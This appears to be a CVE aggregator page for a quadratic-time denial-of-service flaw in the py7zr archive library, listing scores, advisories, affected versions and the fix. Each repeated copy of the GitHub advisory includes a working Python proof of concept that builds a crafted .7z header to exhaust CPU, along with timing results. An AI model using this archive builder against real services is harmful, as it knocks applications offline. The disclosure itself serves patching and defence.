CVE-2026-55206
py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()
py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.7
py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()
py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.
- Record
CVE-2026-55206- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-407
- Updated
- 2026-11-02
EUVDEUVD-2026-42397
8.7
py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.
- Record
EUVD-2026-42397- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-h4gh-22qq-72r7
6.9
py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()
Summary
PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.init() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time.
Details
The vulnerable code is in PackInfo._read() (archiveinfo.py):
self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)]
numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.init(), before any extraction.
Suggested fix — replace with O(n) cumulative sum:
from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes))
PoC
import py7zr
from py7zr.archiveinfo import write_uint64, PROPERTY
MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c'
def encode_uint64(v):
buf = io.BytesIO()
write_uint64(buf, v)
return buf.getvalue()
def build_7z_with_streams(numstreams):
header = io.BytesIO()
header.write(PROPERTY.HEADER)
header.write(PROPERTY.MAIN_STREAMS_INFO)
header.write(PROPERTY.PACK_INFO)
header.write(encode_uint64(0))
header.write(encode_uint64(numstreams))
header.write(PROPERTY.SIZE)
for _ in range(numstreams):
header.write(encode_uint64(1))
header.write(PROPERTY.END)
header.write(PROPERTY.END)
header.write(PROPERTY.END)
header_data = header.getvalue()
out = io.BytesIO()
out.write(MAGIC)
out.write(b'\x00\x04')
next_crc = binascii.crc32(header_data) & 0xFFFFFFFF
start_header = (struct.pack('<Q', 0)
+ struct.pack('<Q', len(header_data))
+ struct.pack('<I', next_crc))
out.write(struct.pack('<I', binascii.crc32(start_header) &
0xFFFFFFFF))
out.write(start_header)
out.write(header_data)
return out.getvalue()
for n in [1000, 5000, 10000, 30000, 50000]:
archive = build_7z_with_streams(n)
start = time.time()
try:
with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z:
pass
except Exception:
# The crafted archive may later raise due to being malformed,
# but the quadratic work has already been performed during
# header parsing in SevenZipFile.__init__().
pass
elapsed = time.time() - start
print(f"n={n:6d} size={len(archive):8d} bytes
time={elapsed:.3f}s")
Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.
Results:
n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s
Impact
Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.
- Record
GHSA-h4gh-22qq-72r7- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-407
- Updated
- 2026-11-02
NVD
8.7
py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.
- Record
CVE-2026-55206- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-407
- Updated
- 2026-11-02
OSV
8.7
py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()
py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.
- Record
CVE-2026-55206- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-407
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-55206
8.7
py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.
- Record
DEBIAN-CVE-2026-55206- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
Show 5 moreShow less
OSVGHSA-h4gh-22qq-72r7
6.9
py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()
Summary
PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.init() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time.
Details
The vulnerable code is in PackInfo._read() (archiveinfo.py):
self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)]
numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.init(), before any extraction.
Suggested fix — replace with O(n) cumulative sum:
from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes))
PoC
import py7zr
from py7zr.archiveinfo import write_uint64, PROPERTY
MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c'
def encode_uint64(v):
buf = io.BytesIO()
write_uint64(buf, v)
return buf.getvalue()
def build_7z_with_streams(numstreams):
header = io.BytesIO()
header.write(PROPERTY.HEADER)
header.write(PROPERTY.MAIN_STREAMS_INFO)
header.write(PROPERTY.PACK_INFO)
header.write(encode_uint64(0))
header.write(encode_uint64(numstreams))
header.write(PROPERTY.SIZE)
for _ in range(numstreams):
header.write(encode_uint64(1))
header.write(PROPERTY.END)
header.write(PROPERTY.END)
header.write(PROPERTY.END)
header_data = header.getvalue()
out = io.BytesIO()
out.write(MAGIC)
out.write(b'\x00\x04')
next_crc = binascii.crc32(header_data) & 0xFFFFFFFF
start_header = (struct.pack('<Q', 0)
+ struct.pack('<Q', len(header_data))
+ struct.pack('<I', next_crc))
out.write(struct.pack('<I', binascii.crc32(start_header) &
0xFFFFFFFF))
out.write(start_header)
out.write(header_data)
return out.getvalue()
for n in [1000, 5000, 10000, 30000, 50000]:
archive = build_7z_with_streams(n)
start = time.time()
try:
with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z:
pass
except Exception:
# The crafted archive may later raise due to being malformed,
# but the quadratic work has already been performed during
# header parsing in SevenZipFile.__init__().
pass
elapsed = time.time() - start
print(f"n={n:6d} size={len(archive):8d} bytes
time={elapsed:.3f}s")
Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.
Results:
n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s
Impact
Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.
- Record
GHSA-h4gh-22qq-72r7- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-407
- Updated
- 2026-11-02
OSVPYSEC-2026-2973
6.9
py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()
Summary
PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.init() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time.
Details
The vulnerable code is in PackInfo._read() (archiveinfo.py):
self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)]
numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.init(), before any extraction.
Suggested fix — replace with O(n) cumulative sum:
from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes))
PoC
import py7zr
from py7zr.archiveinfo import write_uint64, PROPERTY
MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c'
def encode_uint64(v):
buf = io.BytesIO()
write_uint64(buf, v)
return buf.getvalue()
def build_7z_with_streams(numstreams):
header = io.BytesIO()
header.write(PROPERTY.HEADER)
header.write(PROPERTY.MAIN_STREAMS_INFO)
header.write(PROPERTY.PACK_INFO)
header.write(encode_uint64(0))
header.write(encode_uint64(numstreams))
header.write(PROPERTY.SIZE)
for _ in range(numstreams):
header.write(encode_uint64(1))
header.write(PROPERTY.END)
header.write(PROPERTY.END)
header.write(PROPERTY.END)
header_data = header.getvalue()
out = io.BytesIO()
out.write(MAGIC)
out.write(b'\x00\x04')
next_crc = binascii.crc32(header_data) & 0xFFFFFFFF
start_header = (struct.pack('<Q', 0)
+ struct.pack('<Q', len(header_data))
+ struct.pack('<I', next_crc))
out.write(struct.pack('<I', binascii.crc32(start_header) &
0xFFFFFFFF))
out.write(start_header)
out.write(header_data)
return out.getvalue()
for n in [1000, 5000, 10000, 30000, 50000]:
archive = build_7z_with_streams(n)
start = time.time()
try:
with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z:
pass
except Exception:
# The crafted archive may later raise due to being malformed,
# but the quadratic work has already been performed during
# header parsing in SevenZipFile.__init__().
pass
elapsed = time.time() - start
print(f"n={n:6d} size={len(archive):8d} bytes
time={elapsed:.3f}s")
Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.
Results:
n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s
Impact
Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.
- Record
PYSEC-2026-2973- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-55206
8.7
py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.
- Record
UBUNTU-CVE-2026-55206- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11112-1 No score
python311-py7zr-1.1.3-1.1 on GA media
These are all security issues fixed in the python311-py7zr-1.1.3-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11112-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21159-1 No score
Security update for python-py7zr
This update for python-py7zr fixes the following issues:
Changes in python-py7zr:
- CVE-2026-23879: crafted malicious symbolic link chains in an archive can lead to an arbitrary file write (bsc#1268669)
- CVE-2026-55195: unchecked extraction size can cause a denial of service (bsc#1268665)
- CVE-2026-55206: crafted .7z archive with a large numstreams value can cause a denial of service (bsc#1268666)
- Record
openSUSE-SU-2026:21159-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
py7zrPyPI |
through 1.1.2 | 1.1.3 |
py7zrDebian:12 |
All versions, plus listed versions 0.11.3+dfsg-50.11.3+dfsg-60.11.3+dfsg-70.11.3+dfsg-80.21.0+dfsg-1 Show 21 moreShow less0.21.0+dfsg-20.21.1+dfsg-10.22.0+dfsg-11.0.0+dfsg1-11.0.0+dfsg1-21.0.0+dfsg1-31.0.0+dfsg1-3~bpo13+11.0.0+dfsg1-41.0.0+dfsg1-51.1.0+dfsg-1~exp11.1.2+dfsg-11.1.2+dfsg-1~exp11.1.2+dfsg-21.1.2+really1.1.0+dfsg-11.1.2-1+really1.1.0+dfsg-11.1.2-1+really1.1.0+dfsg-21.1.3+dfsg-11.1.3+dfsg-21.1.3+dfsg-31.1.3+dfsg-41.1.4+dfsg-1 |
None known |
py7zrDebian:13 |
All versions, plus listed versions 0.22.0+dfsg-11.0.0+dfsg1-11.0.0+dfsg1-21.0.0+dfsg1-31.0.0+dfsg1-3~bpo13+1 Show 14 moreShow less1.0.0+dfsg1-41.0.0+dfsg1-51.1.0+dfsg-1~exp11.1.2+dfsg-11.1.2+dfsg-1~exp11.1.2+dfsg-21.1.2+really1.1.0+dfsg-11.1.2-1+really1.1.0+dfsg-11.1.2-1+really1.1.0+dfsg-21.1.3+dfsg-11.1.3+dfsg-21.1.3+dfsg-31.1.3+dfsg-41.1.4+dfsg-1 |
None known |
py7zrDebian:14 |
before 1.1.3+dfsg-1, plus listed versions 0.22.0+dfsg-11.0.0+dfsg1-11.0.0+dfsg1-21.0.0+dfsg1-31.0.0+dfsg1-3~bpo13+1 Show 9 moreShow less1.0.0+dfsg1-41.0.0+dfsg1-51.1.0+dfsg-1~exp11.1.2+dfsg-11.1.2+dfsg-1~exp11.1.2+dfsg-21.1.2+really1.1.0+dfsg-11.1.2-1+really1.1.0+dfsg-11.1.2-1+really1.1.0+dfsg-2 |
1.1.3+dfsg-1 |
py7zrPyPI |
before 1.1.3, plus listed versions 0.0.30.0.40.0.50.0.60.0.7 Show 45 moreShow less0.0.80.1.00.1.10.1.20.1.30.1.40.1.50.1.60.10.00.10.0a10.10.0a20.10.0a30.10.0a40.10.0a50.10.0a60.10.0b10.10.0b30.10.10.10.20.11.00.11.0a10.11.0b10.11.0b20.11.0b30.11.10.11.20.11.30.12.00.13.00.13.10.14.00.14.10.15.00.15.10.15.20.16.00.16.10.16.20.16.30.16.40.17.00.17.10.17.20.17.30.17.4 |
1.1.3 |
py7zrUbuntu:22.04:LTS |
All versions, plus listed versions 0.11.3+dfsg-10.11.3+dfsg-1ubuntu10.11.3+dfsg-20.11.3+dfsg-30.11.3+dfsg-40.11.3+dfsg-4ubuntu0.1 |
None known |
py7zrUbuntu:24.04:LTS |
All versions, plus listed versions 0.11.3+dfsg-60.11.3+dfsg-70.11.3+dfsg-80.11.3+dfsg-8build1 |
None known |
py7zrUbuntu:25.10 |
All versions, plus listed versions 0.22.0+dfsg-11.0.0+dfsg1-1 |
None known |
py7zrUbuntu:26.10 |
All versions, plus listed versions 1.1.2+dfsg-11.1.2-1+really1.1.0+dfsg-21.1.3+dfsg-1 |
None known |
py7zrUbuntu:26.04:LTS |
All versions, plus listed versions 1.0.0+dfsg1-11.0.0+dfsg1-31.0.0+dfsg1-41.0.0+dfsg1-51.1.2+dfsg-1 |
None known |
python-py7zropenSUSE:Tumbleweed |
before 1.1.3-1.1 | 1.1.3-1.1 |
python-py7zropenSUSE:Leap 16.0 |
before 1.0.0-bp160.2.1 | 1.0.0-bp160.2.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-55206 is a high vulnerability (CVSS 8.7) in Miurahr Py7zr, published June 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.27%, the 18th percentile. Fixed in py7zr 1.1.3.
References
github.com/miurahr/py7zr/security/advisories/GHSA-h4gh-22qq-72r7
github.com/miurahr/py7zr/commit/d7aa3a197d15c75a65b24f796d3a69f83806d3f8
github.com/miurahr/py7zr/releases/tag/v1.1.3
github.com/advisories/GHSA-h4gh-22qq-72r7
github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55206.json
nvd.nist.gov/vuln/detail/CVE-2026-55206
Show 11 moreShow less
security-tracker.debian.org/tracker/CVE-2026-55206
github.com/miurahr/py7zr
pypi.org/project/py7zr
ubuntu.com/security/CVE-2026-55206
cve.org/CVERecord?id=CVE-2026-55206
suse.com/security/cve/CVE-2026-23879
suse.com/security/cve/CVE-2026-55195
suse.com/security/cve/CVE-2026-55206
bugzilla.suse.com/1268665
bugzilla.suse.com/1268666
bugzilla.suse.com/1268669
Left out here: 114 versions. The JSON record has them.